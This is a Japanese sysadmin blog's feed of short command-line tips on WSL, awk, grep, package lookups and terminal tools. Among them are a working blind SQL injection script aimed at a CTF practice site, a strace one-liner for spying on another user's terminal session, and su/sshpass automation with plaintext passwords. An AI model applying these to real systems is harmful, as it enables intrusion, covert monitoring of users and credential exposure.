Quantcast
Channel: 俺的備忘録 〜なんかいろいろ〜
Viewing all 1028 articles
Browse latest View live

WSLでリモートマシンにx11フォワーディング接続をさせる

$
0
0

最近はあまり使うこともないのだけど、Oracleのインストールとかをする際にsshでリモートサーバにx11フォワーディング接続をしてGUIを転送させるようなことをしていた。
で、その際はTeraterm + Xmingの組み合わせで対応することが多かったのだが、それをWSLを使ってやってみることにする。
なお、WSLで利用するOSはUbuntu 18.04LTSとし、リモートマシンへの設定はここでは省略する。

1.『VcXsrv Windows X Server』のインストールをする

Download VcXsrv Windows X Server for free. Windows X-server based on the xorg git sources (like xming or cygwin's xwin), but compiled with Visual C++ 2012 Express Edition. Source code can also be compiled with VS2008, VS2008 Express Edition ...
VcXsrv Windows X Server - SourceForge

Teratermと組み合わせて利用するX Window ServerとしてはXmingがよく使われていたのだが、WSLでは『VcXsrv Windows X Server』がよく使われているらしい。
リンク先からインストーラーをダウンロードして、WSLを実行するクライアントにインストールする。(インストール時の設定はデフォルトのままで問題ない)

 

インストール完了後、「XLaunch」という名称でスタートメニューやデスクトップに追加されているので、それを起動する。
起動後は設定画面が表示されるが、デフォルトのまま進める。

 

 

設定完了後は通知領域に常駐するので、なにか変更等行う場合はそちらから対応をする。
最後に、以下のコマンドをWSLから実行してX Window Serverが正常に動作することを確認する。

export DISPLAY=localhost:0.0 # WSLからXX Window Serverを利用するための環境変数
sudo apt install x11-apps
xeyes

 

これで、xeyesが動作する。

2.ssh接続を行う

X Window Serverの設定ができたら、あとはssh接続をしてX11フォワーディングをするだけだ。
以下のようにWSLからsshコマンドを実行する。

ssh -X user@host

 

これで、Xを使うコマンドを実行すればWSLを実行している環境でアプリケーションが実行される。

 

X Window 練習帳―Xの基本ライブラリ「Xlib」で遊ぶ! (I・O BOOKS) X Window 練習帳―Xの基本ライブラリ「Xlib」で遊ぶ! (I・O BOOKS)

シェル芸でブラインドSQLインジェクションを行う

$
0
0

ちょっと前に意図的に脆弱なシステムを作る機会があって、そこでブラインドSQLインジェクションを利用して値を取得させるように作った。
で、前に常設のCTFで似たような内容をシェル芸で解いてたのでちゃちゃっと対応できるだろうと思ってたのだけど、結構前に書いてたコードだったのでテスト時にうまくできなかったので、次に手こずらないようそこだけ抜き出して書いてみる。(サンプルに必要なURLは前述のCTFのサイトを利用)

ブラインドSQLでは、まず最初に対象の文字数を調べる必要があるので、以下のようなコマンドを実行する。

seq 10 30 | # 調査する文字数の範囲を指定 \
  xargs -I{} bash -c "
    printf '%s ' {} # 調査対象の文字数を表示;
    # -dでidフィールドにSQLインジェクションを指定(文字数が正しければtrueとなるように記述)
    curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ \
      -d \"id=admin' AND  (SELECT LENGTH(pass) FROM user WHERE id = 'admin') = {} --\" \
      -d \"pass=aaaa\" | \
  wc -l" | # 出力結果のhtmlの行数を調査 \
  sort -k2 | # 2列目(htmlの行数でソート) \
  uniq -c -f1 | # htmlの行数でカウント \
  awk '$1=="1"{print $2}' # htmlの行数のカウント結果が1の行だけ出力

これで文字数が取得できたら、その文字数だけ一文字ずつ総当たりのチェックを行う。(上記CTFでは文字数が21なので、forで指定した文字数は1~21にしている。)

for i in {1..21};
do
  # 0-9,a-z,A-Zの文字を出力
  echo {{0..9},{a..z},{A..Z},_} | \
    fmt -1 | \
    xargs -I{} bash -c "
      printf '%s ' {} # 調査対象の文字を表示;
      # -dでidフィールドにSQLインジェクション(指定した位置の文字が「{}」で指定した値の場合はTRUE)
      curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ \
        -d \"id=admin' AND SUBSTR((SELECT pass FROM user WHERE id = 'admin'),"$i",1) = '{}' --\" \
        -d \"pass=aaaa\" | \
      wc -l" | # 出力結果のhtmlの行数を出力 \
      sort -k2 | # 2列目(htmlの行数でソート) \
      uniq -c -f1 | # htmlの行数でカウント \
      awk '$1=="1"{print $2}' ; # htmlの行数のカウント結果が1の行だけ出力
done | \
  tr -d '\n';echo # 改行を削除して結合

 

これでシェル芸でブラインドSQLインジェクションの処理ができる。
再利用する場合は、環境に応じてcurlで指定しているURLやPOSTする内容を書き換えればいいはずだ。

 

SQL Injection (English Edition) SQL Injection (English Edition)

WSLでリモートマシンに接続してポートフォワーディングさせる

$
0
0

WSLでリモートマシンに接続してポートフォワーディングする場合、Teratermのようにメニューから選択等をする必要はなく、普通にsshコマンドから実行してやればいいようだ。

ssh -L <ローカルポート番号>:<対象ホスト名:対象ポート番号> user@hostname

 

WSL単体でできるってのは、なかなかいいものだなと。
…あまり使う機会なさそうだけど(´・ω・`)。

 

Windows Subsystem for Linux Second Edition Windows Subsystem for Linux Second Edition

ターミナル上で指定した列の値の件数に応じて出力させる

$
0
0

ターミナル上で、特定の列の値の件数を集計して、その集計した数が指定した値の行だけを出力させたい事がある。
…のだけど、調べたところ楽に一発で取得するようなコマンドが無いみたいなので、一応残しておく。

いろいろとやり方は有ると思うけど、以下のようにawkで処理を書いてやるほうが楽だろう。
以下の例では、3列目に2個同じ値がある行のみを出力している。

command ... | awk '
  {line[NR]=$0;count[$3]++}
  END{
    for(i=1;i<NR;i++){
      split(line[i], column, FS);
      if (count[column[3]]==2){print line[i]}
    }
  }
'

blacknon@BS-PUB-UBUNTU-01:~$ cat test.txt
1 z 9
2 x 4
3 y 3
4 z 9
5 y 9
6 z 3
7 z 3
8 y 9
9 x 3
10 y 0
11 y 2
12 y 3
13 x 6
14 y 5
15 z 8
16 y 8
17 x 2
18 x 1
19 x 3
20 z 6
21 z 5
22 y 0
23 x 7
24 y 9
25 z 4
26 z 5
27 x 9
28 x 3
29 z 0
30 y 1
blacknon@BS-PUB-UBUNTU-01:~$ cat test.txt | awk '
  {line[NR]=$0;count[$3]++}
  END{
    for(i=1;i<NR;i++){
      split(line[i], column, FS);
      if (count[column[3]]==2){print line[i]}
    }
  }
'
2 x 4
11 y 2
13 x 6
15 z 8
16 y 8
17 x 2
18 x 1
20 z 6
25 z 4
blacknon@BS-PUB-UBUNTU-01:~$

uniqにフィールドセパレータやフィールドの指定方法があればもっと簡単にできるのかもしれないが、そういう機能は無いようなので、こういう感じでawkやperl等でコードを書いてやるのが一番はやいのではないかと思う。
プログラミング言語AWK プログラミング言語AWK

Python3で複数の変数が全てNoneだった場合にTrueを返させる

$
0
0

ちょっと前にPython3でコードを書いていた際、複数の変数の値すべてがNoneだった場合にTrueとする処理にしたいということがあったので、備忘で残しておく。
やり方としては簡単で、一度すべての値を配列に入れてやって、それをlist.count(None)で数えてやった値と配列の要素数を比較してやればいいだけだ。

#!/usr/bin/env python3

# すべての要素がNoneの配列
all_none = [
        None,
        None,
        None
        ]

# Noneではない要素を含む配列
not_all_none = [
        None,
        None,
        "123"
        ]

# 配列の要素すべてがNoneのためTrue
print( all_none.count(None) == len(all_none) )

# Noneではない値を含むためFalse
print( not_all_none.count(None) == len(not_all_none) )

[blacknon@BlacknonMacBook-Pro2018][~/Work/201901/20190105]                                          [BATTERY:100%]
(`・ω・´)  < ./test.py                                                             [2019/01/05 07:22:45 (土) JST]
True
False

 

countを使って数を数えているだけなので、None以外でも同じような書き方ができると思う。

 

独学プログラマー Python言語の基本から仕事のやり方まで 独学プログラマー Python言語の基本から仕事のやり方まで

GNU grepであいまいな文字列(1文字違いor1文字ずれている文字列)の検索をさせる

$
0
0

Typoしたものが大半なのだけど、指定した文字列とN文字違ったり、1文字ずれている(「あいうえお」→「いあうえお」みたいな)文字列をヒットさせたいということがごくごくたま~にあって、それをgrepでときどきやっている。
個人のマシンではfunctionを作ってあるのだけど、たま~にリモートマシンで使うとき(+ローカルのrcファイルを読み込ませてない時)なんかにはその場でコマンドを組み合わせたりしているので、備忘で残しておく。

1文字違う文字列をgrepする

指定した文字列から1文字違う文字列をgrepする場合、以下のようにする。

echo 検索対象文字列 | grep -f <(echo 検索文字列 | grep -o . | awk '{a=$0=a$0}END{for(i=1;i<=NR;i++){print gensub(/./,".",i)}}')
blacknon@BS-PUB-UBUNTU-01:~$ echo これはあいんえお | grep -f <(echo あいうえお | grep -o . | awk '{a=$0=a$0}END{for(i=1;i<=NR;i++){print gensub(/./,".",i)}}')
これはあいんえお

 

何しているのかを簡単に記述したのが以下。

# grep -f <()で、()内で生成した文字列をファイルとして読み込ませる
grep -f <(
    echo 検索文字列 | \
        # 検索文字列を1文字づつに分解 \
        grep -o . | \
        # 各文字が「.」の組み合わせを生成(「あいう」→「.いう」「あ.う」「あい.」) \
        gawk '
            {a=$0=a$0}
            END{
                for(i=1;i<=NR;i++){
                    print gensub(/./,".",i)
                }
            }'
    )

1文字ずれている文字列をgrepする

似たようなやり方で、1文字ずれている文字列についてもgrepを行える(Macの場合はgsedを使う必要あり)。

echo 検索対象文字列 | grep -f <(STR="検索文字列";for i in $(seq 0 $((${#STR}-1)));do sed -r 's/(.{'$i'})(.)(.)/\1\3\2/' <<<$STR;done)
blacknon@BS-PUB-UBUNTU-01:~$ echo うんこ | grep -f <(STR="うこん";for i in $(seq 0 $((${#STR}-1)));do sed -r 's/(.{'$i'})(.)(.)/\1\3\2/' <<<$STR;done)
うんこ

これも、何をしているのかを一応コメント付きのものを載せておく。

# grep -f <()で、()内で生成した文字列をファイルとして読み込ませる
grep -f <(
    STR="検索文字列"
    # forで文字列の位置を1文字ずつずらす
    for i in $(seq 0 $((${#STR}-1)));do
        # sedで$i分だけ文字列を無視して置換(\2と\3の位置をずらす)
        sed -r 's/(.{'$i'})(.)(.)/\1\3\2/' <<<$STR;
    done
    )

 

どちらも一発で検索させる

どちらも一発で出す場合、ちょっと乱暴だけど以下のようにしとけばいい。
(ちゃんと書くなら変数にしてfunctionにしたほうがいいと思うけど…(´・ω・`))

echo 検索対象文字列 | grep -f <(cat <(STR="検索文字列";for i in $(seq 0 $((${#STR}-1)));do sed -r 's/(.{'$i'})(.)(.)/\1\3\2/' <<<$STR;done) <(echo 検索文字列 | grep -o . | awk '{a=$0=a$0}END{for(i=1;i<=NR;i++){print gensub(/./,".",i)}}'))
blacknon@BS-PUB-UBUNTU-01:~$ echo これはあたうえお | grep -f <(cat <(STR="あいうえお";for i in $(seq 0 $((${#STR}-1)));do sed -r 's/(.{'$i'})(.)(.)/\1\3\2/' <<<$STR;done) <(echo あいうえお | grep -o . | awk '{a=$0=a$0}END{for(i=1;i<=NR;i++){print gensub(/./,".",i)}}'))
これはあたうえお

 

functionにしたものはここにおいてあるので、もし使う場合はそれを利用するといいだろう。

 

新しいシェルプログラミングの教科書 新しいシェルプログラミングの教科書

yum/rpmでファイルがどのパッケージに含まれるか、逆にパッケージにどのファイルが含まれるのかを調べる

$
0
0

yum/rpmを使っていて、指定したファイル名がどのパッケージに含まれるのか、その逆に指定したパッケージにはどのようなファイルが含まれるのかを調べる必要があったので、備忘で残しておく。

1.指定したファイル名がどのパッケージに含まれるかを調べる

指定したファイル名がどのパッケージに含まれるかを調べる場合、yumで行う場合は「yum provides」を利用する。
この時、ファイル名はフルPATHでなくても問題ない。

yum provides ファイル名
[root@BS-PUB-CENT7-01 ~]# yum provides */httpd.conf
読み込んだプラグイン:fastestmirror
Loading mirror speeds from cached hostfile
 * base: ftp.jaist.ac.jp
 * epel: mirror.ehost.vn
 * extras: mirror.qoxy.com
 * updates: mirror.vodien.com
389-admin-1.1.46-1.el7.x86_64 : 389 Administration Server (admin)
リポジトリー        : epel
一致          :
ファイル名    : /etc/dirsrv/admin-serv/httpd.conf



erlang-examples-R16B-03.18.el7.x86_64 : Examples for some Erlang modules
リポジトリー        : epel
一致          :
ファイル名    : /usr/lib64/erlang/lib/inets-5.9.8/examples/server_root/conf/httpd.conf



httpd-2.4.6-88.el7.centos.x86_64 : Apache HTTP Server
リポジトリー        : base
一致          :
ファイル名    : /etc/httpd/conf/httpd.conf
ファイル名    : /usr/lib/tmpfiles.d/httpd.conf



python2-certbot-apache-0.29.1-1.el7.noarch : The apache plugin for certbot
リポジトリー        : epel
一致          :
ファイル名    : /usr/lib/python2.7/site-packages/certbot_apache/tests/testdata/centos7_apache/apache/httpd/conf/httpd.conf
ファイル名    : /usr/lib/python2.7/site-packages/certbot_apache/tests/testdata/gentoo_apache/apache/apache2/httpd.conf



httpd-2.4.6-88.el7.centos.x86_64 : Apache HTTP Server
リポジトリー        : @base
一致          :
ファイル名    : /etc/httpd/conf/httpd.conf
ファイル名    : /usr/lib/tmpfiles.d/httpd.conf

 

インストール済みのrpmパッケージから調べる場合は、以下のようにrpmコマンドから調べることもできる。
こちらはフルPATHで指定してやる必要があるので注意。

rpm -qf ファイルPATH
[root@BS-PUB-CENT7-01 ~]# rpm -qf /etc/httpd/conf/httpd.conf
httpd-2.4.6-88.el7.centos.x86_64

2.指定したパッケージにどのようなファイルが含まれているかを調べる

先ほどとは逆に、指定したパッケージにどのようなファイルが含まれているかリストにして出力する場合。
yumで調べる場合、残念ながらCentOS 7までのyumだとyum-utilsが必要になるようだ(dnfでは機能が組み込まれているので、RHEL8/CentOS 8以降ならいらないと思われる)。

yum-utilsは以下のコマンドでインストールできる。

sudo yum install yum-utils

 

後は、以下のコマンドを実行すればパッケージに含まれるファイルの一覧が取得できる。

repoquery -l パッケージ名

dnf repoquery -l パッケージ名 # dnfの場合
[root@BS-PUB-CENT7-01 ~]# repoquery -l httpd
/etc/httpd
/etc/httpd/conf
/etc/httpd/conf.d
/etc/httpd/conf.d/README
/etc/httpd/conf.d/autoindex.conf
/etc/httpd/conf.d/userdir.conf
/etc/httpd/conf.d/welcome.conf
...

 

インストール済のrpmパッケージから調べる場合は、以下のようにする。

rpm -ql パッケージ名
[root@BS-PUB-CENT7-01 ~]# rpm -ql httpd
/etc/httpd
/etc/httpd/conf
/etc/httpd/conf.d
/etc/httpd/conf.d/README
/etc/httpd/conf.d/autoindex.conf
/etc/httpd/conf.d/userdir.conf
/etc/httpd/conf.d/welcome.conf
...

 

CentOS 7で作るネットワークサーバ構築ガイド 1804対応 第2版 (Network Server Construction Guide S) CentOS 7で作るネットワークサーバ構築ガイド 1804対応 第2版 (Network Server Construction Guide S)

シェル芸でttylogのように他のターミナルの操作をのぞき見する

$
0
0

数年前に、他のターミナルの操作をのぞき見できるttylogというツールについて書いてたのだけど、そのツールの動作を調べてGolangで書き直したという内容の記事を見かけた。

この記事は (http://qiita.com/advent-calendar/2015/livesense_1) 24日目の記事です。今日はクリスマスイブというこ...
ターミナル画面を勝手に共有して他人の作業を覗いてみる - Qiita - Qiita

 

読んでいると、どうやらttylogは以下のステップで他のターミナルの内容をのぞき見しているらしい。

  • ttyのログインプロセスのIDを調べる
  • pidに対してstraceコマンドを使ってシステムコール(read/write)を見る
  • straceの内容を加工して出力する

 

…あれ?
このくらいの内容なら、straceを使ってgrepやsedを使ったワンライナーでもできるじゃないか?
と思ったので、やってみることにした。

以下がそのコード。ちょっと非効率な書き方しているので、動作が遅かったりするけど、まぁこの時点ではそこはいいかなと(多分Perlのワンライナーとかのほうが早い)。
ログインプロセスのIDは、sshであればそのプロセスIDを指定する。
当たり前の話だけど、straceは必要になるので注意。

strace -e read,write -s 16384 -x -p <ログインプロセスのID> 2>&1 | grep --line-buffered -E '^(read|write)\([12]' | sed -u -r -e 's/^(read|write)\(([0-9]+), "//' -e 's/", [0-9]+\).*$//;s/\\/\\\\/g' -e 's/"/\\"/g' -e "s/'/\\\\'/g" -e "s/ /\\' \\'/g" | xargs -I@ printf $'@'

 

多少読みやすくしたのが以下。
いろいろなキャラクタが出力されるので、xargsでprintfに渡す際に結構加工しないといけないのが面倒だ。

strace -e read,write -s 16384 -x -p <ログインプロセスのID> 2>&1 | \
  grep --line-buffered -E '^(read|write)\([12]' | # grepでread,writeの1,2ディスクリプタを使うものだけに絞り込む \
  sed -u -r \
    -e 's/^(read|write)\(([0-9]+), "//' \
    -e 's/", [0-9]+\).*$//;s/\\/\\\\/g' \
    -e 's/"/\\"/g' \
    -e "s/'/\\\\'/g" \
    -e "s/ /\\' \\'/g" | # sedでstraceの出力を加工する \
  xargs -I@ printf $'@' # xargsで加工した内容を出力する

実際の動作しているとこがこちら。

 

シングルクォーテーションのエスケープが結構面倒くさい。
多分、PerlやRubyだけで記述すればもっと短く書けそうだけど、とりあえずは動いているから良しとしよう。

ちなみに、どうやらstraceはLinuxシステムコールでptraceシステムコールというものを利用して他のプロセスの入出力を取得しているようなので、そのあたりをちゃんとコード書ければstraceもいらないかもしれない。
RubyやPerlにもラッパーライブラリがあるようだし、ptraceシステムコールさえ使えればいいので、CやGo、Rustでちゃんとしたのを書いても良さそうだ(多分Cがいいんだろうけど)。

他のプロセスを中断せずに、その出力をミラーリングして新しくパイプで繋ぐ、そんなことはできるのでしょうか。 straceやgdbといったコマンドは一体どういう仕組みで動いているのでしょうか。 ptraceシステムコールを使い、プロセスが呼ぶシステムコールを調べて出力...
ptraceシステムコール入門 ― プロセスの出力を覗き見してみよう! - プログラムモ... - プログラムモグモグ

 

Linuxシステムコール基本リファレンス ──OSを知る突破口 (WEB+DB PRESS plus) Linuxシステムコール基本リファレンス ──OSを知る突破口 (WEB+DB PRESS plus)

ターミナル上でファイルをSyntax Highlightして表示してくれる『bat』

$
0
0

数年前に、LinuxでソースファイルをSyntaxHighlightして出力させるコマンドについて書いたことがあるのだが、最近batというRustで書かれたものも出たらしい。

A cat(1) clone with wings. Contribute to sharkdp/bat development by creating an account on GitHub.
sharkdp/bat - GitHub

 

Boxを出力して、その中にソースコードをSyntax Highlightして表示してくれるらしい。
インストールは簡単で、Ubuntuなら用意してあるdebパッケージを使えばいいし、OS Xならbrewからインストールできるようだ。
(パッケージをダウンロードする際は、releasesページから最新版のURLを確認すること)

● Debian /Ubuntuの場合

wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat_0.9.0_amd64.deb
sudo dpkg -i ./bat_0.9.0_amd64.deb

 

● OS Xの場合

brew install bat

後は、ソースコードを指定して閲覧すればいい。

bat /path/to/source

 

結構いい感じに出力されてる。
今までは同じような用途だとccatvimcatなんかを利用することが多かったけど、batもいいなぁ。

 

構文解析 (自然言語処理シリーズ) 構文解析 (自然言語処理シリーズ)

シェル芸botに入ってるunko.towerの中、外にテキストを差し込んで遊ぶ

$
0
0

よく、Twitterにあるシェル芸bot(フォローされてたら「#シェル芸」 というハッシュタグ付きのツイートをつぶやくとそのシェル芸を実行して結果を引用リツイートで出してくれるボット)というボットで遊んでるのだけど、そこでよく遊んでたシェル芸を残してなかったので、備忘。

シェル芸botには、super_unkoなるうんこ関係のコマンドを詰め合わせてるうんこづくしなリポジトリがあって、その中にアスキーアートのうんこを生成するunko.towerというコマンドが存在している。

unko.tower N

今回は、このunko.towerのうんこの中や背景に任意のテキストを差し込んでいく。

1.うんこの中にテキストを差し込む

うんこの中にテキストを差し込む場合、以下のようにコマンドを実行する。

unko.tower 4 | sed -r ":a;s/(( *) /\\1_/;ta" | eval sed -z -e'"s/_/"'{$(echo うんこの中にめっせぇじをいれるよ!こんな感じだよ|sed "s/./&,/g;s/,$//g")}'"/"'

 

ちょっと解説つけたのが以下。

# unko.towerを生成する
unko.tower 4 | \\
  sed -r ":a;s/(( *) /\\1_/;ta" | # うんこの中の全角空白を全角アンダーバーにする \\
  eval sed -z -e'"s/_/"'{$(echo うんこの中にめっせぇじをいれるよ!こんな感じだよ|sed "s/./&,/g;s/,$//g")}'"/"' # メッセージをコマンド置換内でブレース展開できるように加工して、それをsedを使って一文字ずつ置換させる

 

2.うんこの背景にテキストを差し込む

うんこの中ではなく、うんこの背景にテキストを差し込む場合、以下のようにコマンドを実行する。

unko.tower 5|sed -r ':a;s/(( *) /\\1_/;ta'|awk '{printf($0);for(i=length($0);i<=14;i++){printf(" ")};print ""}'|eval sed -z -e'"s/ /"'{$(echo それはうんこというにはあまりにも大きすぎた。大きく、分厚く、重くそして大雑把すぎた。それはまさにうん塊だった|sed 's/./&,/g;s/,$//g')}'"/"'

 

ちょっと解説をつけたのが以下。

unko.tower 5 | # unko.towerを生成する \\
  sed -r ':a;s/(( *) /\\1_/;ta' | # うんこの中の全角空白を全角アンダーバーに置換 \\
  awk '
    {
      printf($0);
      for(i=length($0);i<=14;i++){printf(" ")};
      print ""}
      ' | # awkで行を空白でパディング(デフォルトでは行の末尾にはメッセージに置換するための空白がないため) \\ 
  eval sed -z -e'"s/ /"'{$(echo それはうんこというにはあまりにも大きすぎた。大きく、分厚く、重くそして大雑把すぎた。それはまさにうん塊だった|sed 's/./&,/g;s/,$//g')}'"/"' # メッセージをコマンド置換内でブレース展開できるように加工して、それをsedを使って一文字ずつ置換させる

 

3.テキストを動かしてみる

シェル芸botには、animationというImageMagickのconvertを利用したGifの生成コマンドがある。
これを利用することで、うんこの中、外においたテキストを動かすこともできる。いくつかサンプルをおいておく。

以下、サンプルコード。

echo 我は関うん長!この青龍うん月刀の切れ味をみよ!|sed ':a;p;s/\\(.\\)\\(.*\\)/\\2\\1/;ba'|head -26|xargs -I@ bash -c 'unko.tower 3|sed -r ":a;s/(( *) /\\1_/;ta"|eval sed -z -e$'\\x27'"s/_/"$'\\x27'{$(echo @|sed "s/./&,/g;s/,$//g")}$'\\x27'"/"$'\\x27' -e"s/_/!/g"'|animation -l 4

 

echo それはうんこというにはあまりにも大きすぎた。大きく、分厚く、重くそして大雑把すぎた。それはまさにうん塊だった。|sed ':a;p;s/\\(.\\)\\(.*\\)/\\2\\1/;ba'|head -56|xargs -I@ bash -c 'unko.tower 3|sed -r ":a;s/(( *) /\\1_/;ta"|awk "{printf(\\$0);for(i=length(\\$0);i<=10;i++){printf(\\" \\")};print \\"\\"}"|eval sed -z -e$'\\x27'"s/ /"$'\\x27'{$(echo @|sed "s/./&,/g;s/,$//g")}$'\\x27'"/"$'\\x27''|animation -l 4

 

echo うんこの中にめっせぇじを入れて想いを伝えよう! | grep -o . | awk '{a=a$0;printf("%-24s\\n",a)}' | sed 's/ /_/g' | xargs -I@ bash -c 'unko.tower 4|sed -r ":a;s/(( *) /\\1_/;ta"|eval sed -z -e$'\\x27'"s/_/"$'\\x27'{$(echo @|sed "s/./&,/g;s/,$//g")}$'\\x27'"/"$'\\x27'' | animation -l 5

 

日本一楽しいひらがなドリル うんこひらがなドリル (うんこドリルシリーズ) 日本一楽しいひらがなドリル うんこひらがなドリル (うんこドリルシリーズ)

いい感じに色分けして表示してくれるCUIのバイナリビューア『hexyl』

$
0
0

ネットをぼけーっと見てたところ、バイナリの値をいい感じに色分け表示してくれるCUIのバイナリビューア『hexyl』なるコマンドを見かけた。
Rustで書かれているらしい。

A command-line hex viewer. Contribute to sharkdp/hexyl development by creating an account on GitHub.
sharkdp/hexyl - GitHub

 

面白そうなので早速インストールしてみる。

●Debian / Ubuntu

wget "https://github.com/sharkdp/hexyl/releases/download/v0.3.1/hexyl_0.3.1_amd64.deb"
sudo dpkg -i hexyl_0.3.1_amd64.deb

 

●OS X

brew install hexyl

これでインストールができた。
それでは、実際に使ってみよう。

hexyl /path/to/file

 

どうやら、データの種類(20は空白だから黄緑、00はnullキャラクタだからグレーなど)によって色を分けてくれてるようだ。
ちょっと見ただけだけど、見やすい。

 

リバースエンジニアリングバイブル ~コード再創造の美学~ リバースエンジニアリングバイブル ~コード再創造の美学~

ローカルorリモートマシン(ssh)でsuによるユーザ切り替え時に自動でパスワード入力をさせる

$
0
0

諸事情があり、sudoを使わずにsuだけでユーザを切り替えてコマンドを実行したい、その時にパスワードの入力をキーボードから行わずに自動化させたいということがあったので、調べてみた。
こういった場合、ヒアドキュメントを使えば指定した入力は標準入力として扱われるので、それでパスワードの入力が自動化できる(ただ、テキストとして丸見えになるし、(psの出力には残らないけど)historyにも残るので自己責任で…)。

su - user -c 'command' << EOF
password
EOF
[login@BS-PUB-CENT7-02 ~]$ pwd
/home/login
[login@BS-PUB-CENT7-02 ~]$ whoami
login
[login@BS-PUB-CENT7-02 ~]$
[login@BS-PUB-CENT7-02 ~]$ su - target -c 'echo;pwd;whoami;' << EOF
password
EOF
パスワード:
/home/target
target

ssh接続時のパスワード入力には利用できないが、ログインユーザからユーザを切り替えて指定したコマンドを実行させたい場合であれば同じ方法が使える。
もしssh接続時のパスワード入力も自動化したいというのであれば、(普通なら鍵認証とかにするのだけど)sshpassあたりを使うといいだろう(ただし自己責任で…)。

● 普通にssh接続する場合

ssh login@host "su - user -c 'command' << EOF
password
EOF"

 

● sshpassを使う場合

sshpass -p password "su - user -c 'command' << EOF
password
EOF"

実際にやった結果がこちら。

[blacknon@BlacknonMacBook-Pro2018][~]                            [BATTERY:100%]
(`・ω・´)  < ssh login@BS-PUB-CENT7-02.blacknon.local "su - target -c 'echo;pwd;whoami' << EOF
password
EOF"
login@bs-pub-cent7-02.blacknon.local's password:

/home/target
target
パスワード:%

[blacknon@BlacknonMacBook-Pro2018][~]                            [BATTERY:100%]
(`・ω・´)  < sshpass -p password ssh login@BS-PUB-CENT7-02.blacknon.local "su - target -c 'echo;pwd;whoami' << EOF
password
EOF"

パスワード:
/home/target
target

 

最近のディストリビューションであればsudoが最初からある程度設定できてるので、普通ならそちらでやればいいのだけど、自分の管理外で設定も変えられないちょっと古いサーバとかならこういう方法もあるのかなと。

 

SSH Mastery: OpenSSH, PuTTY, Tunnels and Keys (IT Mastery) SSH Mastery: OpenSSH, PuTTY, Tunnels and Keys (IT Mastery)

sshから直接suでスイッチしつつコマンドを実行する際に仮想端末(tty)を有効にさせる

$
0
0

前回、sshからsuでユーザを切り替えて、ログインユーザではないユーザから直接コマンドを実行させるという内容について記述していたが、この方法だとttyの払い出しがなされないということに気づいた。

sshから直接suコマンドでユーザを切り替えてコマンドを-cオプションで実行させる場合、残念ながら仮想端末が有効にならないし、そのためのオプションというのも用意されていない。
じゃあどうすればいいかというと、scriptコマンドを経由することで仮想端末が使えるようになるので、それを利用する。

ssh -tt user@host "su - user -c 'script command' << EOF
password
EOF"

[blacknon@BlacknonMacBook-Pro2018][~]                            [BATTERY:100%]
(`・ω・´)  < sshpass -p password ssh -tt login@BS-PUB-CENT7-02.blacknon.local su - target -c 'script -c "echo;pwd;whoami;tty"' << EOF
password
EOF
パスワード:

/home/target
target
/dev/pts/2
Connection to bs-pub-cent7-02.blacknon.local closed.

 

あまりttyが必要になるコマンドというのもそう多くはないだろうけど、こういうやり方もあるということで…。
地味にログも残るので、悪くはないやり方なのではないだろうか。

 

SSH Mastery: OpenSSH, PuTTY, Tunnels and Keys (IT Mastery) SSH Mastery: OpenSSH, PuTTY, Tunnels and Keys (IT Mastery)

VirtualBox 6.0でVMでホストオンリーアダプタでの接続をさせる

$
0
0

実は2019年1月で転職をしたのだけど、転職先では仮想マシンは自分のクライアントマシンで動作させるようになって、VMware FusionとかParallelsではなくVirtualBoxを使うらしい。
で、VirtualBoxではデフォルトだと接続がNATになってしまい、VMと直接接続ができないため、ネットワークをホストオンリーアダプタという接続方式にする必要がある…のだが、前に触った時と一部違ってホストオンリーアダプタでの接続に手こずってしまった。
なので、一応備忘で残しておくことにする(なお、VirtualBoxはインストール済とする)。

VirtualBoxでホストオンリーアダプタを利用する場合、まず最初に「Tools」のところから「ネットワーク」を選択し、「ホストオンリーネットワーク」を作成する。
この時、DHCPサーバを有効にするのを忘れないように(IPアドレスの払い出しがされなくなるので。固定IPなら問題ないけど)。

後は、VMのネットワーク設定でホストオンリーアダプタを選択すればいい。

 

最初にホストオンリーネットワークを作らないといけないんだけど、そのための場所が地味にわかりにくい。
覚えてないけど、前もこうだったっけ…?(最後にVirtualBox触ったの、Windows 7よりも前だったかもしれないから覚えてないけど)

なお、ホストオンリーアダプタでの接続だと外部への接続は出来ないので、別途NATのアダプタも追加してあげるといいかもしれない。
デフォルトゲートウェイはそちら向けにしてやればいいだろう。

 

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習 ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

apt/dpkgでファイルがどのパッケージに含まれるか、逆にパッケージにどのファイルが含まれるのかを調べる

$
0
0

前に、yum/rpmコマンドでファイルがどのパッケージに含まれるか、逆にパッケージを指定してどのようなファイルが展開されるかについて書いたので、今回はapt/dpkgコマンドで同様のことをする方法について残しておく。

1.指定したファイル名がどのパッケージに含まれるかを調べる

指定したファイル名がどのパッケージに含まれるか(yumでいうprovides)を調べる場合、aptで行う場合はそのものズバリな機能はないため、apt-fileという別のプログラムを利用する必要があるようだ。
以下のコマンドでインストールできる。

sudo apt install apt-file
sudo apt-file update

 

インストール後、以下のようにapt-fileを実行することで指定したファイルを提供しているパッケージを検索できる。

apt-file search ファイル名
blacknon@bs-pub-ubuntu-03:~$ apt-file search Rscript
mapdamage: /usr/lib/python2.7/dist-packages/mapdamage/Rscripts/lengths.R
mapdamage: /usr/lib/python2.7/dist-packages/mapdamage/Rscripts/mapDamage.R
mapdamage: /usr/lib/python2.7/dist-packages/mapdamage/Rscripts/stats/checkLibraries.R
mapdamage: /usr/lib/python2.7/dist-packages/mapdamage/Rscripts/stats/data.R
mapdamage: /usr/lib/python2.7/dist-packages/mapdamage/Rscripts/stats/function.R
mapdamage: /usr/lib/python2.7/dist-packages/mapdamage/Rscripts/stats/main.R
mapdamage: /usr/lib/python2.7/dist-packages/mapdamage/Rscripts/stats/postConditonal.R
mapdamage: /usr/lib/python2.7/dist-packages/mapdamage/Rscripts/stats/priorPropose.R
mapdamage: /usr/lib/python2.7/dist-packages/mapdamage/Rscripts/stats/runGeneral.R
mapdamage: /usr/lib/python2.7/dist-packages/mapdamage/Rscripts/stats/start.R
r-base-core: /usr/bin/Rscript
r-base-core: /usr/lib/R/bin/Rscript
r-base-core: /usr/share/man/man1/Rscript.1.gz
transdecoder: /usr/lib/transdecoder/util/PWM/make_seqLogo.Rscript
transdecoder: /usr/lib/transdecoder/util/PWM/plot_ROC.Rscript
